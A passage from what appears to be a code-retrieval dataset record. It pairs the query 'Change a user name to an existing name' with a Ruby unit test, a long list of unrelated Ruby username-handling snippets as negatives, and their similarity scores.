params,\n response_type: Models::User\n )\n end", "def update_name(new_name)\n self.update(name: new_name)\n self\n puts \"Your username has been updated.\".colorize(:magenta)\n end", "def add_user_name(username)\n\t\tuser_name_input.set(username)\n\tend", "def update_username\n puts \"\\n\\nChoose your new name: \\n\"\n puts \"To return to menu, enter \" + \"EXIT\\n\\n\".red\n print \">> \"\n\n newname = gets.chomp\n if User.all.any? {|user| user.name.downcase == newname.downcase}\n puts \"\\n\\nThat name already exists.\\n\"\n self.update_username\n elsif newname.downcase == \"exit\"\n menu(self)\n else\n self.name = newname\n self.save\n menu(self)\n end\n end", "def db_update_user_name(userid, name)\n\t\t\n\t\t# SQL statement for updating a user's name\n\t\tquery = \"UPDATE users\n\t\t\t\tSET name='%%name%%'\n\t\t\t\tWHERE userid='%%userid%%';\"\n\t\t\n\t\t# Fill in the name and userid values in the SQL statement\n\t\tquery = query.gsub(/%%name%%/, PG::Connection.escape_string(name)).gsub(/%%userid%%/, PG::Connection.escape_string(userid))\n\t\t\n\t\t# Connect to the database\n\t\tconn = DBTools.new.connectToDB()\n\t\t\n\t\t#Execute SQL Statement\n\t\tresults = conn.exec(query)\n\t\t\n\t\t# If there are 0 results\n if (results.cmd_tuples() == 0)\n \tresults.clear()\n conn.finish()\n raise \"Name not updated.\"\n\n # If there are too many results (this should never occur)\n elsif (results.cmd_tuples() > 1)\n \tresults.clear()\n \tconn.finish()\n raise \"Too many names changed. Database now corrupt.\"\n \n # Update successful\n else\n \tresults.clear()\n \tconn.finish()\n end\n\tend", "def new_name(data)\n data.strip!\n if data.nil?\n ask_new_name\n return\n end\n\n data.capitalize!\n if $manager.player_exist? data\n output \"A character with that name already exists, please choose another.\"\n ask_new_name\n return\n elsif data.length > 20 or data.length < 3\n output \"Please choose a name less than 20 letters long but longer than 2 letters.\"\n ask_new_name\n return\n elsif data !~ /^[A-Z][a-z]+$/\n output \"Only letters a to z, please.\"\n ask_new_name\n return\n end\n\n @new_name = data\n ask_sex\n end", "def set_name\n name = \"\"\n\n if self.firstname.blank? && self.lastname.blank?\n unless self.login.blank?\n name = self.login\n else\n name = self.email\n end\n else\n name = \"#{self.firstname} #{self.lastname}\"\n end\n\n self.update_column(:name, name)\n #self.name = \"Ferdinand\"\n end", "def normalize_user_name\n\t\tself.user_name = user_name.downcase\n\tend", "def setName\n self.name.nil? ? \"invalid\" : self.name.upcase\n self.second_name.nil? ? \"\" : self.second_name.titleize\n # self.name = self.name.upcase if not self.name.nil?\n # self.second_name = self.second_name.titleize if not self.second_name.nil?\n end", "def edit_username(user, username)\n manager = UserManager.new\n if manager.user_exists?(username)\n return false\n else\n manager.remove( :username => user.username )\n user.username = username\n session[\"username\"] = username\n session[\"user\"] = user\n user.save_data\n end\n end", "def user_name=(user_name)\n if user_name.nil?\n fail ArgumentError, 'user_name cannot be nil'\n end\n\n if user_name.to_s.length > 64\n fail ArgumentError, 'invalid value for \"user_name\", the character length must be smaller than or equal to 64.'\n end\n\n @user_name = user_name\n end", "def change_user_phone_number\n if params[:name] == \"\"\n update_old_data('change_phone_number','disp_phone_number',@user.phone_number)\n else\n @user.phone_number = params[:name]\n @user.ignore_password = true\n show_profile_err('emsg_phone_number',@user.errors['phone_number']) unless @user.save\n\n end\n end", "def username=(value)\n @username = (value.nil? ? value : value.upcase)\n end", "def username=(value)\n @username = (value.nil? ? value : value.upcase)\n end", "def input_valid_username\n fill_in(USERNAME_INPUT_ID, :with => 'Believe')\n end", "def safe_user_name\n @safe_name ||= self.user.name.gsub(/\\0/, '')\n end", "def update!(**args)\n @user_name = args[:user_name] if args.key?(:user_name)\n end", "def update!(**args)\n @user_name = args[:user_name] if args.key?(:user_name)\n end", "def ensure_username\n return unless username.blank?\n\n self.username = email.gsub(/@.*$/, '')\n end", "def username=(value)\n if value\n value.downcase!\n value.squish!\n end\n super(value)\n end", "def change_designation\n if params[:name] == \"\"\n update_old_data('change_job_title','disp_job_title',@user.designation)\n else\n @user.designation = params[:name]\n @user.ignore_password = true\n show_profile_err('emsg_designation',@user.errors['designation']) unless @user.save\n end\nend", "def test_update_user_with_existing_name\r\n user = User.find_by_login('student1')\r\n user.name = \"student2\"\r\n assert !user.valid?\r\n end", "def account_name_cannot_be_in_use\n if Account.find_by_name(account_name)\n errors.add(:account_name, \"Sorry, this name is already in use\")\n end\n end", "def change_name(original)\n original.gsub!(' ','_')\n INVALID_CHARS.split('').each do |char|\n original.gsub!(char,'')\n end\n original.downcase\n end", "def name_check(name)\n if name.nil? or name.empty? or name =~ /\\W+/ or name == \"0\"\n\n #raise an error in case of invalid input\n raise ArgumentError.new(\"Error - invalid name\")\n end\n #capitalize the first letter of the name\n name = name.capitalize\n end", "def name_check(name)\n if name.nil? or name.empty? or name =~ /\\W+/ or name == \"0\"\n\n #raise an error in case of invalid input\n raise ArgumentError.new(\"Error - invalid name\")\n end\n #capitalize the first letter of the name\n name = name.capitalize\n end", "def validate_username_reserved\n return unless username_reserved?\n\n errors.add(:username, :exclusion)\n end", "def name_can_not_be_greg\n if self && self.name.downcase == \"greg\"\n self.errors.add(:name, \"Can not be Greg\")\n end \n end", "def update_username(username)\n @username = username\n end", "def user_name= (name)\n options = self.class.rauth_options\n name = name.strip.downcase if options[:clean_username]\n self[:user_name] = name\n end", "def set_name(name)\n\t\tfirst_name, last_name = name.split(/\\s+/)\n\t\tset_first_name(first_name)\n\t\tset_last_name(last_name)\n\tend", "def validate_name(arg = nil)\n set_or_return(:name, arg, :kind_of => String, :callbacks => {\n \"user must be string of word characters and Engine ID should be either empty string or 5 to 32 octets separated by colons\" => lambda {\n |name| !@@title_pattern.match(name).nil?\n }\n })\n end", "def test_username_with_invalid_examples\n person = @valid_person\n invalid_usernames = %w{rails/rocks web2.0 javscript:something ME}\n invalid_usernames.each do |username|\n person.username = username\n assert !person.valid?, \"#{username} shouldn't pass validation, but does\"\n end\n end", "def allow_name_change?\n true\n end", "def test_update_name_misspelling_merge\n old_name = names(:suilus)\n wrong_author_name = names(:suillus_by_white)\n new_name = names(:suillus)\n old_correct_spelling_id = old_name.correct_spelling_id\n params = {\n id: wrong_author_name.id,\n name: {\n text_name: wrong_author_name.text_name,\n author: new_name.author,\n rank: new_name.rank,\n deprecated: (wrong_author_name.deprecated ? \"true\" : \"false\")\n }\n }\n login(\"rolf\")\n put(:update, params: params)\n\n assert_flash_success\n assert_redirected_to(name_path(new_name.id))\n assert_no_emails\n assert_not(Name.exists?(wrong_author_name.id))\n assert_not_equal(old_correct_spelling_id,\n old_name.reload.correct_spelling_id)\n assert_equal(old_name.correct_spelling, new_name)\n end", "def test_ID_25846_edit_profile_name_validation\n login_as_user1\n go_to_edit_profile_page\n verify_name_change_is_saved \"test_ID_25835_edit_profile_desc\", \"Jamie Smith\", \"Temp name\"\n verify_name_validation \"test_ID_25835_edit_profile_desc\", \"Jamie Smith\", \"%$#%<html>\"\n end", "def update\n @user_name = UserName.find(params[:id])\n\n respond_to do |format|\n if @user_name.update_attributes(params[:user_name])\n format.html { redirect_to(@user_name, :notice => 'User name was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user_name.errors, :status => :unprocessable_entity }\n end\n end\n end", "def test_edit_name_post_name_and_author_missing\n names(:conocybe).destroy\n name = names(:conocybe_filaris)\n params = {\n id: name.id,\n name: {\n rank: \"Species\",\n citation: \"__Le Genera Galera__, 139. 1935.\",\n deprecated: (name.deprecated ? \"true\" : \"false\")\n }\n }\n login(\"rolf\")\n put(:update, params: params)\n\n assert_flash_success\n assert_redirected_to(name_path(name.id))\n assert_no_emails\n assert_equal(\"\", name.reload.author)\n assert_equal(\"__Le Genera Galera__, 139. 1935.\", name.citation)\n assert_equal(rolf, name.user)\n assert_equal(10, rolf.reload.contribution)\n end", "def update_by_username\n if has_missing_params?([:user_name])\n # incomplete/invalid HTTP params\n render 'shared/http_status', locals: { code: '422', message:\n HttpStatusHelper::ERROR_CODE['message']['422'] }, status: 422\n return\n end\n\n # Check if that user_name is taken\n user = User.find_by_user_name(params[:user_name])\n if user.nil?\n render 'shared/http_status', locals: { code: '404', message:\n 'User was not found' }, status: 404\n return\n end\n user.attributes = process_attributes(params, {})\n\n unless user.save\n # Some error occurred\n render 'shared/http_status', locals: { code: '500', message:\n HttpStatusHelper::ERROR_CODE['message']['500'] }, status: 500\n return\n end\n\n # Otherwise everything went alright.\n render 'shared/http_status', locals: { code: '200', message:\n HttpStatusHelper::ERROR_CODE['message']['200'] }, status: 200\n end", "def make_dick_editor_of_addtional_name\n name = names(:boletus_edulis)\n name.user = users(:rolf)\n name.save\n end", "def downcase_username\n return unless username_changed?\n\n self.username = username.downcase\n end", "def name_invalid\n errors.add(:name, :unknown)\n end", "def test_ID_25847_edit_profile_name_limit\n login_as_user1\n go_to_edit_profile_page\n verify_user_names_are_not_required_to_be_unique \"Jame Smith\"\n end", "def test_ID_25847_edit_profile_name_limit\n login_as_user1\n go_to_edit_profile_page\n verify_user_names_are_not_required_to_be_unique \"Jame Smith\"\n end", "def test_ID_25846_edit_profile_name_validation\n login_as_user1\n go_to_edit_profile_page\n verify_name_change_is_saved \"test_ID_25835_edit_profile_desc\", \"Jame Smith\", \"Temp name\"\n verify_name_validation \"test_ID_25835_edit_profile_desc\", \"Jame Smith\", \"%$#%<html>\"\n end", "def change_username(new_name)\n update_username(new_name)\n @username = new_name\n puts \"Success! Your new username is #{@username}\".colorize(:light_green)\n @prompt.keypress('Press any key to continue..')\n menu = Menu.new(self)\n menu.account_details\n end", "def test_edit_name_remove_author_no_exact_match\n name = names(:amanita_baccata_arora)\n params = {\n id: name.id,\n name: {\n text_name: names(:coprinus_comatus).text_name,\n author: \"\",\n rank: names(:coprinus_comatus).rank,\n deprecated: (name.deprecated ? \"true\" : \"false\")\n }\n }\n login(name.user.login)\n put(:update, params: params)\n\n assert_redirected_to(name_path(name.id))\n assert_flash_success\n assert_empty(name.reload.author)\n assert_email_generated\n end", "def enter_name(name)\n return @player_name = 'Anonymus' if name.empty?\n\n @player_name = name[0...18]\n end", "def update\n @reserved_username = ReservedUsername.find(params[:id])\n\n respond_to do |format|\n if @reserved_username.update_attributes(params[:reserved_username])\n format.html { redirect_to admin_reserved_usernames_url , notice: 'Reserved username was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @reserved_username.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_name(chars, from_clipboad = false)\n chars.each do |char|\n ord = char.ord\n if char_valid?(ord)\n @name_input_ui.add_char(char)\n elsif ord == 13 && !from_clipboad\n confirm_name\n elsif ord == 8\n @name_input_ui.remove_char\n elsif ord == 22 && !from_clipboad\n update_name(Yuki.get_clipboard.to_s.chars, true)\n end\n end\n end", "def validate_username_format\n return if valid_username_format?\n\n errors.add(:username, :invalid_characters)\n end", "def test_add_user_with_exist_name\r\n user = User.new\r\n user.name = 'student1'\r\n user.clear_password = \"testStudent1\"\r\n user.clear_password_confirmation = \"testStudent1\"\r\n user.fullname = \"student1_fullname\",\r\n user.role_id = \"3\"\r\n assert !user.save\r\n assert_equal I18n.translate('activerecord.errors.messages')[:taken], user.errors.on(:name)\r\n end", "def safe_user_name\n user_name\n .gsub(\"'\", '')\n .gsub(/[^-_A-Za-z0-9]+/, '-')\n .delete_prefix('-')\n .delete_suffix('-')\n end", "def name_is_valid\n errors.add(:name,\"Invalid string for name.\") unless name_is_valid?\n end", "def blank_username\n self.username = ''\n end", "def changeName\r\n\t\tcheckSpace\r\n\tend", "def update!(**args)\n @domain_name = args[:domain_name] if args.key?(:domain_name)\n @is_user_name_editable = args[:is_user_name_editable] if args.key?(:is_user_name_editable)\n @user_name = args[:user_name] if args.key?(:user_name)\n end", "def test_update_name_remove_author_nondestructive_merge\n old_name = names(:mergeable_epithet_authored)\n new_name = names(:mergeable_epithet_unauthored)\n name_count = Name.count\n params = {\n id: old_name.id,\n name: {\n text_name: old_name.text_name,\n author: \"\",\n rank: old_name.rank,\n deprecated: (old_name.deprecated ? \"true\" : \"false\")\n }\n }\n login(old_name.user.login)\n put(:update, params: params)\n\n assert_redirected_to(name_path(new_name.id))\n assert_flash_success\n assert_empty(new_name.reload.author)\n assert_no_emails\n assert_equal(name_count - 1, Name.count)\n assert_not(Name.exists?(old_name.id))\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def check_create_user_name_is_valid\n return self.name != \"\" ? true : false\n end", "def update\n edited_user = User.find(params[:id])\n edited_user.update( params.require(:user).permit(:username) )\n redirect_to \"/users/#{edited_user.id}\"\nend", "def name=(name)\n @name = name\n @name = @name.downcase if @name\n @name = @name.gsub(/[^a-z0-9-]/, '') if @name\n end", "def ensure_username\n if self.username != \"\"\n self.username \n else\n self.username = \"user#{((self.email).hash).to_s[0,6]}\"\n end\n end", "def set_player_name(msg, name=nil)\n player = get_player msg\n unless name\n msg.reply player.name\n return\n end\n if player.name\n msg.reply \"The majestic #{player.name} refuses to change his name!\"\n return\n end\n player.name = name\n player.save\n msg.reply \"Welcome, #{player.name}!\"\n end", "def update(context, name, should)\n res = context.transport.put_request(context, \"security/users/#{name}\", keys_to_camelcase(should))\n\n context.err(name, res.body) unless res.success?\n end", "def sanitize_user\r\n self.first_name = Sanitize.clean(self.first_name).gsub('&amp;','&').gsub('&gt;', '>') unless self.first_name.blank?\r\n end", "def username=(un)\n self[:username] = (un.nil? ? nil : un.downcase)\n end", "def set_name\n # I truncate it too. I dislike big names.\n self.name = self.email.truncate 25\n # self.photo_url = 'http://0.gravatar.com/avatar/fa3c0e79ecfe1f9e2cdc906ae34b14ee'\n end", "def set_username_validation\n\t if @do_username_validation != false\n\t\t @do_username_validation = true\n\t end\n end" ]
[ "0.684706", "0.66648", "0.66438574", "0.6601671", "0.6555587", "0.6479743", "0.64718056", "0.64287895", "0.64211935", "0.641428", "0.6346574", "0.63400257", "0.62909216", "0.62884307", "0.6272083", "0.6251564", "0.6221917", "0.61800456", "0.6169797", "0.6155189", "0.6155189", "0.6143581", "0.61375797", "0.6106149", "0.6106149", "0.6086466", "0.6068471", "0.6067821", "0.6033771", "0.60291666", "0.60187393", "0.6017157", "0.6017157", "0.6015379", "0.60093975", "0.5986617", "0.5985733", "0.5982493", "0.59806097", "0.59726226", "0.5966638", "0.5966586", "0.5965998", "0.5964102", "0.59577125", "0.5952338", "0.59487617", "0.59420335", "0.5937025", "0.59353626", "0.59353626", "0.59153366", "0.5913502", "0.59120876", "0.5891154", "0.5860748", "0.5860191", "0.5854866", "0.585174", "0.58493334", "0.58439976", "0.58428216", "0.5840255", "0.58329874", "0.5832009", "0.58270967", "0.58270967", "0.58270967", "0.58270967", "0.58270967", "0.58270967", "0.58270967", "0.58270967", "0.58270967", "0.58270967", "0.58270967", "0.58270967", "0.58270967", "0.58270967", "0.58270967", "0.58270967", "0.58270967", "0.58270967", "0.58270967", "0.58270967", "0.58270967", "0.58270967", "0.58270967", "0.5826832", "0.5826832", "0.58228225", "0.58227456", "0.5821169", "0.5819976", "0.58160454", "0.5814458", "0.58065045", "0.58058643", "0.58023554", "0.5801091" ]
0.67929846
1
203 Change a user name to an existing name.
def test_update_user_with_existing_name user = User.find_by_login('student1') user.name = "student2" assert !user.valid? end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update_name(new_name)\n self.update(name: new_name)\n self\n puts \"Your username has been updated.\".colorize(:magenta)\n end", "def username=(new_name)\n @username = new_name.upcase\n end", "def set_user_name_field(user_name)\n end", "def edit_real_name(user, real_name)\n user.real_name = real_name\n user.save_data\n end", "def user_name_set(name)\n self.username.set name if nil_or_empty?(username[:value])\n end", "def update_name(user_id:, name:)\n path = '/users/{userId}/name'\n .gsub('{userId}', user_id)\n\n if user_id.nil?\n raise Appwrite::Exception.new('Missing required parameter: \"userId\"')\n end\n\n if name.nil?\n raise Appwrite::Exception.new('Missing required parameter: \"name\"')\n end\n\n params = {\n name: name,\n }\n \n headers = {\n \"content-type\": 'application/json',\n }\n\n @client.call(\n method: 'PATCH',\n path: path,\n headers: headers,\n params: params,\n response_type: Models::User\n )\n end", "def rename_to_bob\n name = 'Bob'\n end", "def change_username(new_name)\n update_username(new_name)\n @username = new_name\n puts \"Success! Your new username is #{@username}\".colorize(:light_green)\n @prompt.keypress('Press any key to continue..')\n menu = Menu.new(self)\n menu.account_details\n end", "def new_username=(value)\n @new_username = (value.nil? ? value : value.upcase)\n end", "def update_username(username)\n @username = username\n end", "def db_update_user_name(userid, name)\n\t\t\n\t\t# SQL statement for updating a user's name\n\t\tquery = \"UPDATE users\n\t\t\t\tSET name='%%name%%'\n\t\t\t\tWHERE userid='%%userid%%';\"\n\t\t\n\t\t# Fill in the name and userid values in the SQL statement\n\t\tquery = query.gsub(/%%name%%/, PG::Connection.escape_string(name)).gsub(/%%userid%%/, PG::Connection.escape_string(userid))\n\t\t\n\t\t# Connect to the database\n\t\tconn = DBTools.new.connectToDB()\n\t\t\n\t\t#Execute SQL Statement\n\t\tresults = conn.exec(query)\n\t\t\n\t\t# If there are 0 results\n if (results.cmd_tuples() == 0)\n \tresults.clear()\n conn.finish()\n raise \"Name not updated.\"\n\n # If there are too many results (this should never occur)\n elsif (results.cmd_tuples() > 1)\n \tresults.clear()\n \tconn.finish()\n raise \"Too many names changed. Database now corrupt.\"\n \n # Update successful\n else\n \tresults.clear()\n \tconn.finish()\n end\n\tend", "def user_name= (name)\n options = self.class.rauth_options\n name = name.strip.downcase if options[:clean_username]\n self[:user_name] = name\n end", "def update_username\n puts \"\\n\\nChoose your new name: \\n\"\n puts \"To return to menu, enter \" + \"EXIT\\n\\n\".red\n print \">> \"\n\n newname = gets.chomp\n if User.all.any? {|user| user.name.downcase == newname.downcase}\n puts \"\\n\\nThat name already exists.\\n\"\n self.update_username\n elsif newname.downcase == \"exit\"\n menu(self)\n else\n self.name = newname\n self.save\n menu(self)\n end\n end", "def update_user_name(uid, name)\n @scores[uid]['name'] = name\n end", "def update_username(new_name)\n updated_data = Login.load_data.each do |user|\n user['username'] = new_name if user['id'] == @uid.to_s\n end\n File.open(Login.userdata, 'w') do |f|\n f.puts JSON.pretty_generate(updated_data)\n end\n end", "def edit_username(user, username)\n manager = UserManager.new\n if manager.user_exists?(username)\n return false\n else\n manager.remove( :username => user.username )\n user.username = username\n session[\"username\"] = username\n session[\"user\"] = user\n user.save_data\n end\n end", "def username= new_username\n @username = new_username\n end", "def username=(new_username)\n @username = new_username\n end", "def downcase_username\n return unless username_changed?\n\n self.username = username.downcase\n end", "def update!(**args)\n @user_name = args[:user_name] if args.key?(:user_name)\n end", "def update!(**args)\n @user_name = args[:user_name] if args.key?(:user_name)\n end", "def rename(old_name, new_name); end", "def rename(old_name, new_name); end", "def renamenx(old_name, new_name); end", "def renamenx(old_name, new_name); end", "def user_name=(name)\n self.user = User.find_or_create_by(name: name)\n end", "def normalize_user_name\n\t\tself.user_name = user_name.downcase\n\tend", "def add_user_name(username)\n\t\tuser_name_input.set(username)\n\tend", "def update(context, name, should)\n res = context.transport.put_request(context, \"security/users/#{name}\", keys_to_camelcase(should))\n\n context.err(name, res.body) unless res.success?\n end", "def downcase_username\n self.username = self.username.downcase if self.username?\n end", "def set_player_name(msg, name=nil)\n player = get_player msg\n unless name\n msg.reply player.name\n return\n end\n if player.name\n msg.reply \"The majestic #{player.name} refuses to change his name!\"\n return\n end\n player.name = name\n player.save\n msg.reply \"Welcome, #{player.name}!\"\n end", "def local_nick(body)\n name1 = _pop_token(body)\n name2 = _pop_token(body)\n raise \"Usage: /nick <old_name> <new_name>\" if name1.to_s.empty?\n if name2.to_s.empty?\n name2 = name1\n name1 = @var[:our_name]\n end\n raise \"Name '#{name2}' is already in use\" if @var[:user_keys][name2]\n\n # Perform the renaming\n kh = @connection.comm.sender_keyhash(name1)\n key = @connection.comm.rsa_keys[name1]\n raise \"Invalid user name: '#{name1}'\" unless kh and key\n @connection.comm.rsa_keys[name2] = key\n @connection.comm.rsa_keys.delete(name1)\n @connection.comm.names[kh] = name2\n @var[:user_keys][name2] = key\n @var[:user_keys].delete name1\n @var[:granted].collect! { |x| x = name2 if x == name1 ; x }\n @var[:granted_by].collect! { |x| x = name2 if x == name1 ; x }\n @var[:revoked].collect! { |x| x = name2 if x == name1 ; x }\n \n # And lastly, if this is us, update our special name attribute\n @var[:our_name] = name2 if @var[:our_name] == name1\n _notice(\"#{name1} is now known as #{name2}\")\n _save_env\nend", "def renamenx(old_name, new_name)\n send_command([:renamenx, old_name, new_name], &Boolify)\n end", "def new_name(new_name)\n @name = new_name\n end", "def set_name(uuid, new_name)\n execute_prlctl('set', uuid, '--name', new_name)\n end", "def downcase_username()\n self.username = username.downcase\n end", "def user_name=(user_name)\n if user_name.nil?\n fail ArgumentError, 'user_name cannot be nil'\n end\n\n if user_name.to_s.length > 64\n fail ArgumentError, 'invalid value for \"user_name\", the character length must be smaller than or equal to 64.'\n end\n\n @user_name = user_name\n end", "def rename new_name\n @name = new_name.to_sym\n end", "def rename new_name\n @name = new_name.to_sym\n end", "def change_nick msg\n return if msg.connection != @connection\n return unless has_key? msg.nick_canon\n\n $log.debug(\"Users.add_user\") { \"Renaming user #{msg.nick} on #{@connection.name}\" }\n\n changed_nick_canon = msg.connection.canonize msg.text\n\n # Apparently structs don't let you change values. So just make a\n # new user.\n changed_user = User.new @connection, changed_nick_canon,\n self[msg.nick_canon].user,\n self[msg.nick_canon].host,\n self[msg.nick_canon].level,\n self[msg.nick_canon].account\n\n delete_user msg.nick_canon\n\n self[changed_nick_canon] = changed_user\n end", "def username=(value)\n write_attribute(:username, value)\n reset_persistence_token if username_changed?\n end", "def username=(username)\n write_attribute(:username, username.downcase)\n end", "def username=(username)\n write_attribute(:username, username.downcase)\n end", "def username=(value)\n @username = (value.nil? ? value : value.upcase)\n end", "def username=(value)\n @username = (value.nil? ? value : value.upcase)\n end", "def name=(user)\n\t\t@name=user\n\tend", "def set_guest_name(name)\n guest_user.name = name\n guest_user.save(cookies)\n\n # Update the stored guest name for the user's scenarios.\n Scenario.where(guest_uid: guest_user.id)\n .update_all(guest_name: guest_user.name)\n end", "def username=(val)\n write_attribute(:username, val.downcase.split(\" \").join)\n end", "def username=(value)\n\t write_attribute(:username, value.downcase)\n\tend", "def username=(value)\n write_attribute :username, value.downcase\n end", "def rename\n begin\n study = Study.find(params[:study_id])\n unless study.user_id != session[:user_id] || study.active == true\n study.name = params[:study_name]\n study.save\n end\n rescue\n\n ensure\n redirect_to(edit_study_path(params[:study_id]))\n end\n end", "def rename(old_name, new_name)\n send_command([:rename, old_name, new_name])\n end", "def username=(value)\n if value\n value.downcase!\n value.squish!\n end\n super(value)\n end", "def set_name\n name = \"\"\n\n if self.firstname.blank? && self.lastname.blank?\n unless self.login.blank?\n name = self.login\n else\n name = self.email\n end\n else\n name = \"#{self.firstname} #{self.lastname}\"\n end\n\n self.update_column(:name, name)\n #self.name = \"Ferdinand\"\n end", "def change_info(new_name)\n self.nickname = new_name \n end", "def local_user_modify(handle:, name:, **kwargs)\n found_user = _get_local_user(handle, name)\n if found_user.nil?\n raise ImcOperationError.new(\"Modify Local User\", \"User doesn't exist\")\n end\n\n found_user.set_prop_multiple(**kwargs)\n handle.set_mo(mo: found_user)\n return handle.query_dn(dn: found_user.dn)\nend", "def rename(new_name)\n raise 'to be implemented in subclass'\n end", "def username=(s)\n write_attribute(:username, s.to_s.strip.sub(/^@/, '').downcase)\n end", "def downcase_username\n self.username = username.downcase\n end", "def username(name = nil)\n if !name then @username\n else @username = name\n end\n end", "def changeName\r\n\t\tcheckSpace\r\n\tend", "def rename(new_name)\n json_body = { :name => new_name }.to_json\n HTTParty.put(base_request_uri, :body => json_body)\n @name = new_name\n end", "def set_username\n user = User.where(ipaddress: request.remote_ip).last\n if user.present?\n @user = user\n else\n username = \"User #{User.count+1}-#{DateTime.now.to_i}\"\n @user = User.create(username: username, ipaddress: request.remote_ip)\n end\n end", "def change_name(object, symbol, old_name, new_name, activity_params)\n return if old_name == new_name || new_name.blank? || !object.update(name: new_name)\n create_activity(object, \"#{symbol}_name\", old_name, new_name, activity_params)\n end", "def rename(_old_team, _new_team)\n # stub\n end", "def set_name(name)\n\t\tfirst_name, last_name = name.split(/\\s+/)\n\t\tset_first_name(first_name)\n\t\tset_last_name(last_name)\n\tend", "def usrname=(usrname)\n @context[:usname] = usrname\n end", "def edit_username(username)\n wait_until{ change_username_link.visible? }\n change_username_link.click\n username_tb.type_text username\n submit_edit_username_btn.click\n verify_password(QA_ENV['bus_password'])\n alert_accept\n wait_until{ !submit_edit_username_btn.visible? }\n end", "def given_name=(nickname)\n @given_name = nickname\n @given_name = nil if nickname == name\n end", "def set_username\n return if username?\n return unless email?\n\n base = email.partition('@').first.tr('.', '_')\n\n self.username = generate_username(base)\n end", "def set_user_name_field(user_name)\n @chrome_driver.find_element(:id, USERNAME_FIELD).send_keys(user_name)\n end", "def change_name=(name)\n @name = name\n end", "def update \n user = User.find_by(username: @current_user.username)\n user.update!(username_edit_params)\n response = { message: Message.account_edited, status: :ok}\n json_response(response)\n end", "def rename_user_route(old_user, new_user)\n if (host = get_user_route(old_user)) && !get_user_route(new_user)\n delete_user_route(old_user)\n set_route(:user, new_user, host)\n else\n nil\n end\n end", "def assign_name\n friend = User.find self.friend_id\n self.name = friend.username\n end", "def name=(name)\n\t\t@new_name = name\n\tend", "def setHttpAuthUserName(user_name)\n @fields['http_auth_user_name'] = user_name\n self\n end", "def setHttpAuthUserName(user_name)\n @fields['http_auth_user_name'] = user_name\n self\n end", "def set_NewName(value)\n set_input(\"NewName\", value)\n end", "def set_NewName(value)\n set_input(\"NewName\", value)\n end", "def nick_change(nick, new_nick)\n @names.delete(nick) if @names.include?(nick)\n @names << new_nick \n\n @bridge.add(:xmpp, :irc, SYSTEM_USER, \"#{nick} is now known as #{new_nick}\")\n end", "def change_user_phone_number\n if params[:name] == \"\"\n update_old_data('change_phone_number','disp_phone_number',@user.phone_number)\n else\n @user.phone_number = params[:name]\n @user.ignore_password = true\n show_profile_err('emsg_phone_number',@user.errors['phone_number']) unless @user.save\n\n end\n end", "def rename!(oldkey, newkey)\n timeout_retry(3, 3){\n write \"RENAME #{oldkey} #{newkey}\\r\\n\"\n status_code_reply\n }\n end", "def name= new_name\n @gapi.update! name: String(new_name)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def set_Username(value)\n set_input(\"Username\", value)\n end", "def change_name(field, new_name)\n CONNECTION.execute(\"UPDATE #{table_name} SET #{field} = '#{new_name}' WHERE id = #{@id};\")\n end", "def set_user_name_field(user_name)\n @chrome_driver.find_element(:id, USERNAME_FIELD).send_keys(user_name)\n sleep 1\n end", "def downcase_email_username\n self.email = email.downcase\n self.username = username.downcase\n end", "def rename(new_name)\n\n self.update_attribute(:name, new_name)\n\n folder = self.get_team_folder\n\n unless folder.nil?\n folder.update_attribute(:name, new_name)\n end\n end", "def name= (new_name)\n @name = new_name\n end", "def _UNDO_setName(iNewName)\n @Name = iNewName\n end" ]
